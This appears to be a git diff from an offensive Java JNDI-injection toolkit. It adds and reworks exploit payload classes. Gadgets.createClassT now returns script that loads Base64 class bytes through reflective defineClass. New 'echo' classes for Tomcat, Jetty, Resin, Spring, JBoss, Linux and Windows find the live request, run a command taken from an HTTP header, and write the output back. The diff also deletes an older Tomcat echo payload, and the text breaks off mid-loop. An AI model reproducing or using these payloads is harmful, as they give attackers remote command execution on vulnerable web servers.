sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception { try { - System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@")); + System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for |@" + base + " @|green with javax.el.ELProcessor payload|@")); System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------"); Entry e = new Entry(base); e.addAttribute("javaClassName", "java.lang.String"); @@ -49,8 +48,7 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro if (payloadType.contains("M-")) { String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); InjShell.init(params); - Class classQ = Gadgets.createClassT(ClassName1).getClass(); - code = InjShell.injectClass(classQ); + code = Gadgets.createClassT(ClassName1); } if (payloadType.contains("command")) { @@ -61,9 +59,6 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro code = helper.injectMeterpreter(); } - if (payloadType.contains("TomcatEcho111")) { - code = helper.injectTomcatEchoTemplate(); - } String payloadTemplate = "{" + "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + @@ -150,10 +145,6 @@ public String injectMeterpreter() throws ClassNotFoundException, NoSuchFieldExce return InjShell.injectClass(ctClazz); } - public String injectTomcatEchoTemplate() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { - return InjShell.injectClass(TomcatEchoJndi.class); - } - public String getExecCode(String cmd) throws IOException { String code = "var strs=new Array(3);\n" + diff --git a/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java b/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java index c4262889..bf1de6b6 100644 --- a/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java +++ b/src/main/java/com/qi4l/jndi/controllers/TomcatJdbcController.java @@ -57,8 +57,7 @@ public void sendResult(InMemoryInterceptedSearchResult result, String base) thro if (payloadType.contains("M-")) { String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1); InjShell.init(params); - Class classQ = Gadgets.createClassT(ClassName1); - code = InjShell.injectClass(classQ); + code = Gadgets.createClassT(ClassName1); } if (payloadType.contains("command")) { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java index 65443a39..1cfa3094 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Cache.java @@ -1,12 +1,12 @@ package com.qi4l.jndi.gadgets.utils; -import com.qi4l.jndi.template.echo.Meterpreter; -import com.qi4l.jndi.template.echo.SpringEcho; -import com.qi4l.jndi.template.echo.TomcatEcho; +import com.qi4l.jndi.template.echoStatic.Meterpreter; +import com.qi4l.jndi.template.echoStatic.SpringEcho; +import com.qi4l.jndi.template.echoStatic.TomcatEcho; import com.qi4l.jndi.template.isOK; import com.qi4l.jndi.template.isSuccess; -import com.qi4l.jndi.template.memshell.Websphere.WebsphereMemshellTemplate; -import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF; +import com.qi4l.jndi.template.memshellStatic.Websphere.WebsphereMemshellTemplate; +import com.qi4l.jndi.template.memshellStatic.jboss.JBFMSFromContextF; import net.jodah.expiringmap.ExpirationPolicy; import net.jodah.expiringmap.ExpiringMap; diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java index 0418b15e..00aa6c6c 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/ClassByteChange.java @@ -1,7 +1,7 @@ package com.qi4l.jndi.gadgets.utils; import com.qi4l.jndi.gadgets.Config.Config; -import com.qi4l.jndi.template.echo.Meterpreter; +import com.qi4l.jndi.template.echoStatic.Meterpreter; import javassist.*; import java.io.*; diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java index 8a054bb1..b278526c 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Gadgets.java @@ -7,10 +7,12 @@ import javassist.CtClass; import javassist.CtConstructor; +import java.io.ByteArrayOutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; +import java.util.Base64; import java.util.HashMap; import java.util.Map; @@ -153,7 +155,7 @@ public static Object createTemplatesImpl(String command) throws Exception { return templates; } - public static Class createClassT(String command) throws Exception { + public static String createClassT(String command) throws Exception { command = command.trim(); // 支持单双引号 @@ -203,7 +205,22 @@ public static Class createClassT(String command) throws Exception { } } - return ctClass.getClass(); + byte[] bytes = ctClass.toBytecode(); + String classCode = Base64.getEncoder().encodeToString(bytes); + //System.out.println("Base64 Encoded CtClass: " + classCode); + ctClass.detach(); + + return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" + + "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" + + "try{\n" + + " var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" + + " clazz.newInstance();\n" + + "}catch(err){\n" + + " var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" + + " method.setAccessible(true);\n" + + " var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" + + " clazz.newInstance();\n" + + "};"; } public static String createClassB(String command) throws Exception { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java index f142cf92..d4f70da3 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/InjShell.java @@ -2,7 +2,7 @@ import com.qi4l.jndi.gadgets.Config.Config; import com.qi4l.jndi.template.Agent.WinMenshell; -import com.qi4l.jndi.template.memshell.tomcat.TSMSFromJMXF; +import com.qi4l.jndi.template.memshellStatic.tomcat.TSMSFromJMXF; import javassist.*; import org.apache.commons.cli.CommandLine; import org.apache.commons.cli.CommandLineParser; @@ -16,7 +16,6 @@ import static com.qi4l.jndi.gadgets.Config.MemShellPayloads.*; import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword; -import static com.qi4l.jndi.template.memshell.shell.MemShellPayloads.SUO5.CMD_SHELL_FOR_WEBFLUX; public class InjShell { diff --git a/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java index aa1dc2d4..8e2b40cd 100644 --- a/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java +++ b/src/main/java/com/qi4l/jndi/gadgets/utils/Util.java @@ -1,6 +1,6 @@ package com.qi4l.jndi.gadgets.utils; -import com.qi4l.jndi.template.echo.Meterpreter; +import com.qi4l.jndi.template.echoStatic.Meterpreter; import java.io.ByteArrayOutputStream; import java.io.IOException; diff --git a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java b/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java deleted file mode 100644 index ac203c7a..00000000 --- a/src/main/java/com/qi4l/jndi/template/echo/TomcatEchoJndi.java +++ /dev/null @@ -1,146 +0,0 @@ -package com.qi4l.jndi.template.echo; - -import com.sun.org.apache.xalan.internal.xsltc.DOM; -import com.sun.org.apache.xalan.internal.xsltc.TransletException; -import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; -import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; -import com.sun.org.apache.xml.internal.serializer.SerializationHandler; - -import java.io.ByteArrayOutputStream; -import java.io.InputStream; -import java.lang.reflect.Field; -import java.util.List; - -public class TomcatEchoJndi extends AbstractTranslet { - - public static String CMD_HEADER = "X-Token-Data"; - - public TomcatEchoJndi() { - try { - boolean flag = false; - ThreadGroup group = Thread.currentThread().getThreadGroup(); - ClassLoader loader = Thread.currentThread().getContextClassLoader(); - Field f = group.getClass().getDeclaredField("threads"); - f.setAccessible(true); - Thread[] threads = (Thread[])((Thread[])f.get(group)); - - for(int i = 0; i < threads.length; ++i) { - try { - Thread t = threads[i]; - if (t != null) { - String str = t.getName(); - if (!str.contains("exec") && str.contains("http")) { - f = t.getClass().getDeclaredField("target"); - f.setAccessible(true); - Object obj = f.get(t); - if (obj instanceof Runnable) { - f = obj.getClass().getDeclaredField("this$0"); - f.setAccessible(true); - obj = f.get(obj); - - try { - f = obj.getClass().getDeclaredField("handler"); - } catch (NoSuchFieldException var19) { - f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); - } - - f.setAccessible(true); - obj = f.get(obj); - - try { - f = obj.getClass().getSuperclass().getDeclaredField("global"); - } catch (NoSuchFieldException var18) { - f = obj.getClass().getDeclaredField("global"); - } - - f.setAccessible(true); - obj = f.get(obj); - f = obj.getClass().getDeclaredField("processors"); - f.setAccessible(true); - List processors = (List)((List)f.get(obj)); - - for(int j = 0; j < processors.size(); ++j) { - Object processor = processors.get(j); - f = processor.getClass().getDeclaredField("req"); - f.setAccessible(true); - Object req = f.get(processor); - Object resp = req.getClass().getMethod("getResponse").invoke(req); - str = (String)req.getClass().getMethod("getHeader", String.class).invoke(req, CMD_HEADER); - if (str != null && !str.isEmpty()) { - resp.getClass().getMethod("setStatus", Integer.TYPE).invoke(resp, new Integer(200)); - ByteArrayOutputStream baos = q(str); - - try { - Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); - obj = cls.newInstance(); - cls.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); - resp.getClass().getMethod("doWrite", cls).invoke(resp, obj); - } catch (NoSuchMethodException var17) { - Class cls = Class.forName("java.nio.ByteBuffer", false, loader); - obj = cls.getDeclaredMethod("wrap", byte[].class).invoke(cls, baos.toByteArray()); - resp.getClass().getMethod("doWrite", cls).invoke(resp, obj); - } - - flag = true; - } - - if (flag) { - break; - } - } - - if (flag) { - break; - } - } - } - } - } catch (Exception var20) { - } - } - } catch (Exception var21) { - } - } - - public static ByteArrayOutputStream q(String var0) { - return execCmd(var0); - } - - public static ByteArrayOutputStream execCmd(String var0) { - try { - if (var0 != null && !var0.isEmpty()) { - String[] var1 = null; - if (System.getProperty("os.name").toLowerCase().contains("win")) { - var1 = new String[]{"cmd", "/c", var0}; - } else { - var1 = new String[]{"/bin/bash", "-c", var0}; - } - - InputStream var2 = Runtime.getRuntime().exec(var1).getInputStream(); - ByteArrayOutputStream var3 = new ByteArrayOutputStream(); - boolean var4 = false; - byte[] var5 = new byte[1024]; - - int var8; - while((var8 = var2.read(var5)) != -1) { - var3.write(var5, 0, var8); - } - - return var3; - } - } catch (Exception var7) { - } - - return null; - } - - @Override - public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { - - } - - @Override - public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { - - } -} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CAllEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CAllEcho.java new file mode 100644 index 00000000..609532ce --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CAllEcho.java @@ -0,0 +1,88 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CAllEcho { + public static String CMD_HEADER = "cmd"; + + public static java.util.HashSet h = new java.util.HashSet(); + + public static javax.servlet.http.HttpServletRequest r = null; + + public static javax.servlet.http.HttpServletResponse p = null; + + public CAllEcho() { + F(Thread.currentThread(), 0); + } + + private static boolean i(Object obj) { + if (obj == null || h.contains(obj)) { + return true; + } + h.add(obj); + return false; + } + + private static void F(Object start, int depth) { + Class n = start.getClass(); + do { + java.lang.reflect.Field f = null; + int l = n.getDeclaredFields().length; + for (int i = 0; i < l; i++) { + f = n.getDeclaredFields()[i]; + f.setAccessible(true); + Object o = null; + try { + o = f.get(start); + if (!o.getClass().isArray()) { + p(o, depth); + } else { + Object q = null; + Object[] objs = (Object[]) o; + int len = java.lang.reflect.Array.getLength(o); + for (int j = 0; j < len; j++) { + q = objs[j]; + p(q, depth); + } + } + } catch (Exception ignored) { + } + } + } while ((n = n.getSuperclass()) != null); + } + + private static void p(Object o, int depth) { + if (depth > 52 || (r != null && p != null)) { + return; + } + if (!i(o)) { + if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) { + r = (javax.servlet.http.HttpServletRequest) o; + if (r.getHeader(CMD_HEADER) == null) { + r = null; + } else { + try { + p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{}); + } catch (Exception e) { + r = null; + } + } + } + if (r != null && p != null) { + try { + try { + p.getWriter().println(q(r.getHeader(CMD_HEADER))); + } catch (Exception ignored) { + } + p.getWriter().flush(); + p.getWriter().close(); + } catch (Exception ignored) { + } + return; + } + F(o, depth + 1); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CJbossEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJbossEcho.java new file mode 100644 index 00000000..96b40cdd --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJbossEcho.java @@ -0,0 +1,68 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CJbossEcho { + + public static String CMD_HEADER = "cmd"; + + public CJbossEcho() { + try { + Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); + String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString(); + + if (cmd != null && !cmd.isEmpty()) { + java.io.ByteArrayOutputStream baos = q(cmd); + + try { + // 高版本底层是 undertow + Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl"); + Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{}); + java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{}); + os.write(baos.toByteArray()); + os.close(); + } catch (ClassNotFoundException ignored) { + Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{}); + if (response == null) { + java.lang.reflect.Field field = req.getClass().getDeclaredField("request"); + field.setAccessible(true); + response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{}); + + } + Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()}); + getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{}); + getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{}); + } + } + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + + public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) { + java.lang.reflect.Method method = null; + while (cs != null) { + try { + method = cs.getDeclaredMethod(methodName, parameters); + method.setAccessible(true); + cs = null; + } catch (Exception e) { + cs = cs.getSuperclass(); + } + } + return method; + } + + public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) { + try { + java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass); + if (method != null) + return method.invoke(obj, parameters); + } catch (Exception ignored) { + } + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CJettyEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJettyEcho.java new file mode 100644 index 00000000..13f1314d --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CJettyEcho.java @@ -0,0 +1,77 @@ +package com.qi4l.jndi.template.echoConstructor; + +import java.io.ByteArrayOutputStream; + +public class CJettyEcho { + + public static String CMD_HEADER; + + public CJettyEcho() { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) { + Object connection = obj; + java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(connection, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{"cmd"}); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class}); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"}); + printWriter.println(res); + } + + break; + } else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) { + java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class) null); + Object httpChannel = method.invoke(obj, (Object) null); + + method = httpChannel.getClass().getMethod("getRequest", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getHeader", new Class[]{String.class}); + String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER}); + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + + method = httpChannel.getClass().getMethod("getResponse", (Class) null); + obj = method.invoke(httpChannel, (Object) null); + + method = obj.getClass().getMethod("getWriter", (Class) null); + java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null); + printWriter.println(res); + } + + break; + } + } + } catch (Exception ignored) { + } + } + + public static ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.java new file mode 100644 index 00000000..497a1bf2 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho1.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CLinuxEcho1 { + + public CLinuxEcho1() { + try { + String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'"; + + java.util.List list = new java.util.ArrayList<>(); + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + String line; + while ((line = br.readLine()) != null) { + list.add(line); + } + + br.close(); + + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + + for (String s : list) { + Integer integer = Integer.parseInt(s); + + try { + cmd = new String[]{"/bin/sh", "-c", "ls -l"}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + + StringBuilder sb = new StringBuilder(); + while ((line = br.readLine()) != null) { + sb.append(line + "\n"); + } + + java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer)); + os.write(sb.toString().getBytes()); + + br.close(); + os.close(); + } catch (Exception e) { + } + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.java new file mode 100644 index 00000000..2ef65ad1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CLinuxEcho2.java @@ -0,0 +1,66 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CLinuxEcho2 { + + public CLinuxEcho2() { + try { + if (java.io.File.separator.equals("/")) { + String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'"; + String[] cmd = new String[]{"/bin/sh", "-c", command}; + java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res1 = new java.util.ArrayList(); + String line = ""; + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res1.add(line); + } + br.close(); + + try { + Thread.sleep((long) 2000); + } catch (InterruptedException e) { + //pass + } + + command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'"; + cmd = new String[]{"/bin/sh", "-c", command}; + br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream())); + java.util.List res2 = new java.util.ArrayList(); + while ((line = br.readLine()) != null && !line.trim().isEmpty()) { + res2.add(line); + } + br.close(); + + int index = 0; + int max = 0; + for (int i = 0; i < res2.size(); i++) { + try { + String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8); + socketNo = socketNo.substring(0, socketNo.length() - 1); + for (int j = 0; j < res1.size(); j++) { + if (!socketNo.equals(res1.get(j))) continue; + + if (Integer.parseInt(socketNo) > max) { + max = Integer.parseInt(socketNo); + index = j; + } + break; + } + } catch (Exception e) { + //pass + } + } + + int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]); + java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); + c.setAccessible(true); + cmd = new String[]{"/bin/sh", "-c", "id"}; + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n"; + java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)})); + os.write(result.getBytes()); + } + } catch (Exception ignored) { + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CResinEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CResinEcho.java new file mode 100644 index 00000000..2d00e101 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CResinEcho.java @@ -0,0 +1,48 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CResinEcho { + + public static String CMD_HEADER; + + public CResinEcho() { + try { + Class clazz = Thread.currentThread().getClass(); + java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals"); + field.setAccessible(true); + Object obj = field.get(Thread.currentThread()); + + field = obj.getClass().getDeclaredField("table"); + field.setAccessible(true); + obj = field.get(obj); + + Object[] obj_arr = (Object[]) obj; + for (int i = 0; i < obj_arr.length; i++) { + Object o = obj_arr[i]; + if (o == null) continue; + + field = o.getClass().getDeclaredField("value"); + field.setAccessible(true); + obj = field.get(o); + + if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) { + com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj; + String cmd = httpRequest.getHeader(CMD_HEADER); + + if (cmd != null && !cmd.isEmpty()) { + String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next(); + com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse(); + httpResponse.setHeader("Content-Length", res.length() + ""); + java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class) null); + method.setAccessible(true); + com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null); + httpResponseStream.write(res.getBytes(), 0, res.length()); + httpResponseStream.close(); + } + + break; + } + } + } catch (Exception ignored) { + } + } +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CSpringEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CSpringEcho.java new file mode 100644 index 00000000..0277299a --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CSpringEcho.java @@ -0,0 +1,28 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CSpringEcho { + + public static String CMD_HEADER; + + public CSpringEcho() { + + try { + org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes(); + javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest(); + javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse(); + String cmd = request.getHeader(CMD_HEADER); + if (cmd != null && !cmd.isEmpty()) { + response.getWriter().write(new String(q(cmd).toByteArray())); + } + response.getWriter().flush(); + response.getWriter().close(); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.java new file mode 100644 index 00000000..347d0bd6 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CTomcatEcho.java @@ -0,0 +1,81 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CTomcatEcho { + public static String CMD_HEADER; + + public CTomcatEcho() { + try { + boolean flag = false; + ThreadGroup group = Thread.currentThread().getThreadGroup(); + ClassLoader loader = Thread.currentThread().getContextClassLoader(); + java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); + f.setAccessible(true); + Thread[] threads = (Thread[]) f.get(group); + for (int i = 0; i < threads.length; i++) { + try { + Thread t = threads[i]; + if (t == null) continue; + String str = t.getName(); + if (str.contains("exec") || !str.contains("http")) continue; + f = t.getClass().getDeclaredField("target"); + f.setAccessible(true); + Object obj = f.get(t); + if (!(obj instanceof Runnable)) continue; + f = obj.getClass().getDeclaredField("this$0"); + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getDeclaredField("handler"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler"); + } + f.setAccessible(true); + obj = f.get(obj); + try { + f = obj.getClass().getSuperclass().getDeclaredField("global"); + } catch (NoSuchFieldException e) { + f = obj.getClass().getDeclaredField("global"); + } + f.setAccessible(true); + obj = f.get(obj); + f = obj.getClass().getDeclaredField("processors"); + f.setAccessible(true); + java.util.List processors = (java.util.List) (f.get(obj)); + for (int j = 0; j < processors.size(); ++j) { + Object processor = processors.get(j); + f = processor.getClass().getDeclaredField("req"); + f.setAccessible(true); + Object req = f.get(processor); + Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req); + str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER}); + if (str != null && !str.isEmpty()) { + resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200)); + java.io.ByteArrayOutputStream baos = q(str); + try { + Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader); + obj = cls.newInstance(); + cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } catch (NoSuchMethodException var5) { + Class cls = Class.forName("java.nio.ByteBuffer", false, loader); + obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()}); + resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj); + } + flag = true; + } + if (flag) break; + } + if (flag) break; + } catch (Exception ignored) { + } + } + + } catch (Exception ignored) { + } + } + + public static java.io.ByteArrayOutputStream q(String cmd) { + return null; + } + +} diff --git a/src/main/java/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.java b/src/main/java/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.java new file mode 100644 index 00000000..26998728 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/template/echoConstructor/CWindowsEcho.java @@ -0,0 +1,59 @@ +package com.qi4l.jndi.template.echoConstructor; + +public class CWindowsEcho { + + public CWindowsEcho() { + try { + if (java.io.File.separator.equals("\\")) { + java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd"); + field.setAccessible(true); + + Class clazz1 = Class.forName("sun.nio.ch.Net"); + java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class}); + method1.setAccessible(true); + + Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null); + java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0]; + constructor2.setAccessible(true); + + Class clazz3 = Class.forName("java.net.PlainSocketImpl"); + java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class}); + constructor3.setAccessible(true); + + java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class}); + write.setAccessible(true); + + java.net.InetSocketAddress remoteAddress = null; + java.util.List list = new java.util.ArrayList(); + java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor(); + for (int i = 0; i < 50000; i++) { + field.set((Object) fileDescriptor, (Object) (new Integer(i))); + try { + remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor}); + if (remoteAddress.toString().startsWith("/127.0.0.1")) continue; + if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue; + list.add(new Integer(i)); + + } catch (Exception e) { + } + } + + for (int i = list.size() - 1; i >= 